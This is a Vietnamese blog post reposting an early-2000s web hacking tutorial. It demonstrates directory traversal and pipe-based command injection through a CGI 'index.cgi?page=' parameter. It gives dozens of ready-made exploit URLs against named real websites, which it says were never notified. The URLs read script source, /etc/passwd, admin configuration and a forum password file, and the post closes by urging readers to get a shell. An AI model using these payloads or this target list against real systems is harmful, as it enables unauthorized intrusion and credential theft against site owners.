Thứ Ba, 8 tháng 10, 2013

on 1 comment

Web Hacking

Web Hacking, Brief Introduction :


Trong thời đại hiện nay khi internet được phổ biến rộng rãi, các tổ chức, cá nhân đều có nhu cầu giới thiệu thông tin của mình trên xa lộ thông tin cũng như thực hiện các cuộc giao dịch buôn bán online. Vấn đề nảy sinh là khi phạm vi ứng dụng của các web application ngày càng phổ biến thì khả năng xuất hiện lỗi và bị tấn công càng cao. Trong các lĩnh vực hacking, hack web application là sân chơi khá lý thú cho những ai yêu thích computer security.

Thông thường, những bước cơ bản khi thực hiện hack web bao gồm như sau - các bước này không nhất thiết phải thực hiện tuần tự mà tùy vào điều kiện của chúng ta.

1. Thu thập thông tin ở mức trên về hạ tầng của mục tiêu

Bước này ta cần thu thập một số thông tin quan trọng như có bao nhiêu server, mô hình của các web server, các client nào sẽ tương tác với ứng dụng web, kiểu giao tiếp thông tin (transport) và thông qua các cổng (port) nào, những site liên quan đến việc thực hiện chức năng của site mục tiêu....

2. Khảo sát ứng dụng web

Ở đây tôi chỉ mô tả một trong những phương pháp khảo sát khá phổ biến từ trước đến giờ, đó là Xem mã nguồn và lợi dụng các lỗi cho phép xem mã nguồn.

Một số ngôn ngữ web thông dụng hiện nay có nhiều lỗi này như Active Server Pages (ASP), Common Gateway Interface (CGI), ColdFusion Server (CFM), Hypertext Preprocessor (PHP).

Bài viết này tôi chỉ đề cập đến 1 bug đã có từ lâu nhưng thấy vẫn còn nhiều site mắc phải, đó là lỗi liên quan đến CGI design cho phép view source và file system traversal. Hãy xem ví dụ sau:

http://www.earthdayalliance.org/index.cgi?page=contact.htm

Ở đây index.cgi được gọi với tham số truyền vào là trang contact.htm (HTML file) nó sẽ đọc và hiện nội dung của trang này lên client browser. Tuy nhiên nếu người viết cgi không kiểm tra kĩ lưỡng, ta có thể lợi dụng để xem chính nội dung của file index.cgi hay các trang khác. Ví dụ sau ta sẽ thay contact.htm bằng index.cgi:

http://www.earthdayalliance.org/index.cgi?page=index.cgi

Ở đây ta gặp 1 thông báo lỗi "error: No such file or directory /web/guide/earthdayalliance/www/content/index.cgi", nguyên nhân là thực tế index.cgi không nằm trong thư mục hiện hành (tức là ../www/content/) mà nằm ở www, do đó ta sẽ chỉnh lại link 1 chút bằng 1 dot dot slash, như sau:

http://www.earthdayalliance.org/index.cgi?page=/../index.cgi

Chạy link này ta sẽ thấy nội dung của index.cgi được show trên browser. Việc xem được source có thể giúp ta tìm hiểu kĩ càng hơn về web app, thậm chí nếu may mắn có thể xem được những thông tin quan trọng khác. Lệnh sau là 1 ví dụ dùng lỗi này để xem file etc/passwd trong unix server:

http://www.earthdayalliance.org/index.cgi?page=/../../../../../../../../../etc/passwd

Đây chỉ là 1 ví dụ nhỏ, còn khai thác hay hạn chế thế nào thì tùy khả năng của mỗi người.

Các bạn có thể tìm các site bị lỗi này bằng cách dùng www.google.com, search từ khóa liên quan, chẳng hạn như: "index.cgi?page="

Đây là vài link tôi tìm thấy, các bạn có thể tham khảo:

http://www.discountdata.com/index.cgi?page=index.cgi

http://home.no.net/danm2/freezeware/index.cgi?page=leecher.html

http://home.no.net/danm2/freezeware/index.cgi?page=/../../../../../../../../etc/passwd

http://itf.fys.kuleuven.ac.be/workshop2002/index.cgi?page=practical.htm

http://itf.fys.kuleuven.ac.be/workshop2002/index.cgi?page=/../../../../../../etc/passwd

http://www.resource.nl/uk/index.cgi?page=index.cgi

http://www.earthdayalliance.org/index.cgi?page=contact.htm

http://www.earthdayalliance.org/index.cgi?page=/../index.cgi

http://www.earthdayalliance.org/index.cgi?page=/../../../../../../../../../etc/passwd

http://www.nestingeagles.com/index.cgi?page=videoB.htm

http://www.nestingeagles.com/index.cgi?page=/../index.cgi

http://www.nestingeagles.com/index.cgi?page=/../../../../../../etc/passwd

http://www.warehousejewelry.com/cgi-bin/index.cgi?page=Privacy_Policy.htm

http://www.warehousejewelry.com/cgi-bin/index.cgi?page=/../index.cgi

http://www.warehousejewelry.com/cgi-bin/index.cgi?page=/.././admin/configuration.pl

http://www.warehousejewelry.com/cgi-bin/index.cgi?page=/../../../../../../../etc/passwd

http://demo1.secmod.com/index.cgi?page=links.html

http://demo1.secmod.com/index.cgi?page=index.cgi

http://demo1.secmod.com/index.cgi?page=/../../../../../etc/passwd

http://www.vintagejournal.com/VJ0901/index.cgi?page=/../index.cgi

http://www.vintagejournal.com/VJ0901/index.cgi?page=home.htm

http://www.datadart.com/commercesql/index.cgi?page=STK%20Datasheets.html&car

http://www.datadart.com/commercesql/index.cgi?page=/../index.cgi

http://www.gatlinburggateway.com/index.cgi?&page=/../../../../../../etc/passwd

http://www.berkshire-is.com/index.cgi?page=news.html

http://www.berkshire-is.com/index.cgi?page=index.cgi

http://www.berkshire-is.com/index.cgi?page=/../../../../../etc/passwd

http://www.smokymtnarts-crafts.com/index.cgi?page=otto.htm

http://www.smokymtnarts-crafts.com/index.cgi?page=/../index.cgi

http://www.textileflags.com/cgi-bin/rock_flag_store/index.cgi?page=flagsbyname.html

http://www.textileflags.com/cgi-bin/rock_flag_store/index.cgi?page=/../index.cgi

http://www.randalloglegallery.com/index.cgi?page=about.htm

http://www.randalloglegallery.com/index.cgi?page=/../index.cgi

.....

Lưu ý các site trên chưa được thông báo về lỗi này.

3. Tấn công các web server


4. Tấn công vượt qua các cơ chế kiểm soát (authentication, authorization)

Bao gồm các phương pháp như đoán mật khẩu, làm việc - thay đổi thông tin cookies, các kĩ thuật directory traversal, leo thang đặc quyền, các phương pháp tấn công dựa vào SQL, SQL injection...

5. Tìm hiểu sâu về các chức năng của ứng dụng web

Tìm hiểu cách thực hiện của các phần trong ứng dụng, đặc biệt như các order input, confirmation, order tracking. Ở đây ta có thể áp dụng các phương pháp như SQL Injection, input validation...

6. Tìm hiểu luồng di chuyển của thông tin

Các thông tin tương tác giữa client và server, các thông tin tương tác với database. Hiện nay việc viết mã để thực hiện việc giao tiếp thông tin thường phải đảm bảo được tính hiệu quả (nhanh), và bảo mật (có thể sẽ chậm hơn). Thường thì tính hiệu quả được ưu tiên hơn do đó có thể sẽ phát sinh lỗi trong quá trình đó và giúp hacker có thể lợi dụng các lỗi như SQL input...để đoạt quyền điều khiển hệ thống.

7. Tấn công trang của người quản lý hệ thống


8. Tấn công client


9. Thực hiện tấn công từ chối dịch vụ Denial-of-Service (DoS)

Đây là cách cuối cùng khi các phương pháp trên không thực hiện thành công.

Phần này cần các bạn có kiến thức chút đỉnh về Unix.

Bước tiếp theo là khai thác khả năng command execution từ client browser thông qua HTTP port. Ở đây các bạn chú ý các kí tự đặc biệt hữu ích khi ta cần thực hiện lệnh trong URL, đó là: newline character (%0a), pipe (%7c), semicolon (%3b), ampersand (%26). Newline char cho phép ta ngắt các lệnh ra thành nhiều dòng khi thực hiện, dùng khi ta kết nhiều lệnh cùng trên cùng 1 dòng; pipe dùng để kết nối nhiều lệnh unix với nhau, tương tự với semicolon; ampersand thường dùng để ngăn cách các tham số truyền vào câu lệnh...Các bạn tự tìm hiểu kĩ hơn các thông tin này.

Tiếp theo vd ở post đầu, đó là: http://www.earthdayalliance.org/index.cgi?page=contact.htm

Bây giờ ta thử gọi 1 lệnh liệt kê thông tin thư mục của unix (ls):

http://www.earthdayalliance.org/index.cgi?page=|ls|

Ta sẽ thấy browser liệt kê ra các file, thư mục có trong thư mục hiện hành của trang web, đại khái như sau:

[badurl.htm contact.txt content count_file edcpressrelease.htm greentemplate.htm guestbook images index.cgi newtemplate.htm registercircle.txt search.html template.htm templates welcome.htm wwwboard ]

Nếu muốn biết rõ hơn về thông tin của file, như quyền hạn, ngày tháng...ta dùng lệnh ls -la, cụ thể URL sẽ là:

http://www.earthdayalliance.org/index.cgi?page=|ls+-la|

Một vd của việc khai thác tiếp theo: ta thấy thư mục wwwboard, đây là 1 dạng webforum đơn giản, ta xem thử nội dung thư mục này:

http://www.earthdayalliance.org/index.cgi?page=|ls%20wwwboard|

Ở đây ta sẽ thấy liệt kê ra content của forum này, trong đó có 1 file passwd.txt, ta muốn xem nội dung file này, chỉ việc thực hiện:

http://www.earthdayalliance.org/index.cgi?page=/../wwwboard/passwd.txt

Lưu ý ta thêm /../ phía trước vì muốn lùi 1 cấp trở về thư mục cha.

Thế là bạn vừa xem được pass admin của forum dạng này.

Đây là 1 thông tin tìm hiểu khác:

http://www.earthdayalliance.org/index.cgi?page=|ls%20/../../../../../etc+-la|

Liệt kê các user trong server này:

http://www.earthdayalliance.org/index.cgi?page=|ls+/../../.././web/guide+-al|

.....

Bước khai thác kế tiếp dành cho các bạn: Thực hiện nhiều câu lệnh, get shell... Chúc thành công.

Các công cụ có thể áp dụng trong web hacking các bạn có thể tìm hiểu ở trang:

http://www.hackingexposed.com/tools/tools.html

Một tài liệu nhỏ về web hacking khác (đây là tài liệu English, đọc bằng chương trình Microsoft powerpoint trong bộ Microsoft Office):

webhacking.zip

Title: Web Hacking - Brief Introduciton

Version: 1.0 build 26092002

Author: W_Hat

References: Hacking Exposed series, Web Hacking from FoundStone.com,

Constructing: Basic Hacking Methodologies

Bài viết của W_Hat

Web Hacking

1 nhận xét: